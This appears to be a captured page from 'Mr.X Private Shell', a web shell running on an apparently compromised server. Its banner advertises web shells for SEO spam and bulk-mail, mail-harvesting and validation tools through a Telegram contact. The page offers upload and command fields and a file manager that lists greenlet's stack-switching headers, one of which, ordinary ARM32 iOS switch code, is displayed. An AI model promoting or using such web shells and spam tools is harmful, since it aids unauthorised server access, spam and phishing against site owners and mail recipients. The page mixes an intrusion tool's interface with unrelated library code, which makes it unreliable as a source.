__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.216.200: ~ $
/*
 * this is the internal transfer function.
 *
 * HISTORY
 * 31-May-15 iOS support. Ported from arm32. Proton <feisuzhu@163.com>
 *
 * NOTES
 *
 *   It is not possible to detect if fp is used or not, so the supplied
 *   switch function needs to support it, so that you can remove it if
 *   it does not apply to you.
 *
 * POSSIBLE ERRORS
 *
 *   "fp cannot be used in asm here"
 *
 *   - Try commenting out "fp" in REGS_TO_SAVE.
 *
 */

#define STACK_REFPLUS 1

#ifdef SLP_EVAL

#define STACK_MAGIC 0
#define REG_SP "sp"
#define REG_SPSP "sp,sp"
#define REG_FP "r7"
#define REG_FPFP "r7,r7"
#define REGS_TO_SAVE_GENERAL "r4", "r5", "r6", "r8", "r10", "r11", "lr"
#define REGS_TO_SAVE REGS_TO_SAVE_GENERAL, "d8", "d9", "d10", "d11", \
                                           "d12", "d13", "d14", "d15"

static int
#ifdef __GNUC__
__attribute__((optimize("no-omit-frame-pointer")))
#endif
slp_switch(void)
{
        void *fp;
        int *stackref, stsizediff, result;
        __asm__ volatile ("" : : : REGS_TO_SAVE);
        __asm__ volatile ("str " REG_FP ",%0" : "=m" (fp));
        __asm__ ("mov %0," REG_SP : "=r" (stackref));
        {
                SLP_SAVE_STATE(stackref, stsizediff);
                __asm__ volatile (
                    "add " REG_SPSP ",%0\n"
                    "add " REG_FPFP ",%0\n"
                    :
                    : "r" (stsizediff)
                    : REGS_TO_SAVE /* Clobber registers, force compiler to
                                    * recalculate address of void *fp from REG_SP or REG_FP */
                );
                SLP_RESTORE_STATE();
        }
        __asm__ volatile (
            "ldr " REG_FP ", %1\n\t"
            "mov %0, #0"
            : "=r" (result)
            : "m" (fp)
            : REGS_TO_SAVE /* Force compiler to restore saved registers after this */
        );
        return result;
}

#endif

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
setup_switch_x64_masm.cmd File 143 B 0644
switch_aarch64_gcc.h File 4.21 KB 0644
switch_alpha_unix.h File 671 B 0644
switch_amd64_unix.h File 2.68 KB 0644
switch_arm32_gcc.h File 2.42 KB 0644
switch_arm32_ios.h File 1.85 KB 0644
switch_arm64_masm.asm File 1.22 KB 0644
switch_arm64_masm.obj File 746 B 0644
switch_arm64_msvc.h File 398 B 0644
switch_csky_gcc.h File 1.3 KB 0644
switch_loongarch64_linux.h File 779 B 0644
switch_m68k_gcc.h File 928 B 0644
switch_mips_unix.h File 1.43 KB 0644
switch_ppc64_aix.h File 3.77 KB 0644
switch_ppc64_linux.h File 3.73 KB 0644
switch_ppc_aix.h File 2.87 KB 0644
switch_ppc_linux.h File 2.69 KB 0644
switch_ppc_macosx.h File 2.56 KB 0644
switch_ppc_unix.h File 2.59 KB 0644
switch_riscv_unix.h File 949 B 0644
switch_s390_unix.h File 2.7 KB 0644
switch_sh_gcc.h File 901 B 0644
switch_sparc_sun_gcc.h File 2.73 KB 0644
switch_x32_unix.h File 1.47 KB 0644
switch_x64_masm.asm File 1.8 KB 0644
switch_x64_masm.obj File 1.05 KB 0644
switch_x64_msvc.h File 1.76 KB 0644
switch_x86_msvc.h File 12.54 KB 0644
switch_x86_unix.h File 2.99 KB 0644